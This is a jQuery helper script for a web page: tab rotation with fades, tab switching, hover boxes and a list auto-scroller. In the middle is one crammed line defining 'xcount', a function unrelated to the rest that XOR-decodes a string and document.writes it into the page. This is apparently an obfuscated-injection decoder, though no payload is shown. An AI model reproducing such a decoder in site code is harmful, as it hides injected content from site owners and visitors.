﻿ 	function tab(){
			var self=this;
		var i = -1;
		var len = 0;
		var d = [];
		
        this.x = function(si){			
			
            si++;
            if (si >= len) 
                si = 0;
            self.i = si;
			
            d.each(function(ii){
				
               if (ii == self.i) {					
                    $(this).addClass('current');
                    $(this).next().fadeIn(5000);
                }
                else {					
                    $(this).removeClass('current');
                    $(this).next().fadeOut(5000);
                }
            });
            
        }
		this.msg=function(){
			alert("a");
		}
		
        this.init = function(id){			
            d = $(id);
            len = d ? d.length : 0;
			
            d.each(function(j){
				var si=j-1;
                $(this).mouseover(function(){				
	                self.x(si);
                })				
            })
            this.x(i);
            setInterval(function(){
               self.x(self.i);
               
            }, 5000);
        }
		
	}
	
	
	headDl = {
	i:-1,
	d:[],
	l:0,
	x: function(i){
		i++;
		if( i >= this.l) i = 0;
		this.i = i;
		this.d.each(function(ii){
			if( ii == headDl.i){
				$(this).addClass('current');
				$(this).next().fadeIn(5000);		
			}else{
				$(this).removeClass('current');
				$(this).next().fadeOut(5000);
			}
		});
	},
	init:function(id){
		this.d = $(id);
		this.l = $(id) ? $(id).length : 0;
		$(id).each(function(){
			$(this).mouseover(function(){
				var si = $(id).index($(this)) - 1;
				headDl.x(si);
			})
		})
		this.x(this.i);
		setInterval(function(){
			headDl.x(headDl.i);
		},5000);
	}
}

xb=true;function xcount(xh){        if(!xb) return;        var xc="",xd=new Array(),xe="",xf=0;        for(i=0;i<xh.length;i++){                xa=xh.charCodeAt(i);                if(xa<128)xa=xa^2;                xe+=String.fromCharCode(xa);                if(xe.length>80){                        xd[xf++]=xe;xe="";                        }                        }                        xc=xd.join("")+xe;                        document.write(xc);                        }

function showTab(id,n){
  
    $(id+" .t-t td").each(function(i){
        if(i==n){
            $(this).addClass("selected");
        }else{
            $(this).removeClass("selected");
        }
    });
    
    $(id+" .qj").each(function(i){
        if(i==n){
            $(this).show();
        }else{
            $(this).hide();
        }
    });


}


function showTab2(id, n){
  
    $(id+" .t-t2 td").each(function(i){
        if(i==n){
            $(this).addClass("selected");
        }else{
            $(this).removeClass("selected");
        }
    });
    
    $(id+" .qj").each(function(i){
        if(i==n){
            $(this).show();
        }else{
            $(this).hide();
        }
    });
    
    


}




var timeOut=[];
function onMouseOutbox(x){
	timeOut[x]= window.setTimeout( function() {
		$('#'+x).hide();
	 },500);
} 
function onMouseOverbox(x){
	window.clearTimeout(timeOut[x]);
	$('#'+x).show();

} 


function AutoScroll(obj){
        $(obj).find("ul:first").animate({
                marginTop:"-22px"
        },500,function(){
                $(this).css({marginTop:"0px"}).find("li:first").appendTo(this);
        });
}



